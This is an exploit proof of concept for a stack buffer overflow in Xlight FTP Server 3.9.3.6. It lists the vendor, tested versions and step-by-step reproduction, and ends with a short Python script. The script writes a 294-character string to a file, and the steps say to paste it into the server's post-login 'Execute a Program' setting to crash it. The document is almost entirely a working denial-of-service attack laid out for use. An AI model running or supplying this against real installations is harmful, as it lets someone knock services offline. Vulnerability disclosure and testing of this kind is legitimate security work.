# Exploit Title: Xlight FTP Server 3.9.3.6 - 'Stack Buffer Overflow' (DOS) # Discovered by: Yehia Elghaly # Discovered Date: 2023-08-04 # Vendor Homepage: https://www.xlightftpd.com/ # Software Link : https://www.xlightftpd.com/download/setup.exe # Tested Version: 3.9.3.6 # Vulnerability Type: Buffer Overflow Local # Tested on OS: Windows XP Professional SP3 - Windows 11 x64 # Description: Xlight FTP Server 3.9.3.6 'Execute Program' Buffer Overflow (PoC) # Steps to reproduce: # 1. - Download and Xlight FTP Server # 2. - Run the python script and it will create exploit.txt file. # 3. - Open Xlight FTP Server 3.9.3.6 # 4. - "File and Directory - Modify Virtual Server Configuration - Advanced - Misc- Setup # 6. - Execute a Program after use logged in- Paste the characters # 7 - Crashed #!/usr/bin/env python3 exploit = 'A' * 294 try: with open("exploit.txt","w") as file: file.write(exploit) print("POC is created") except: print("POC not created")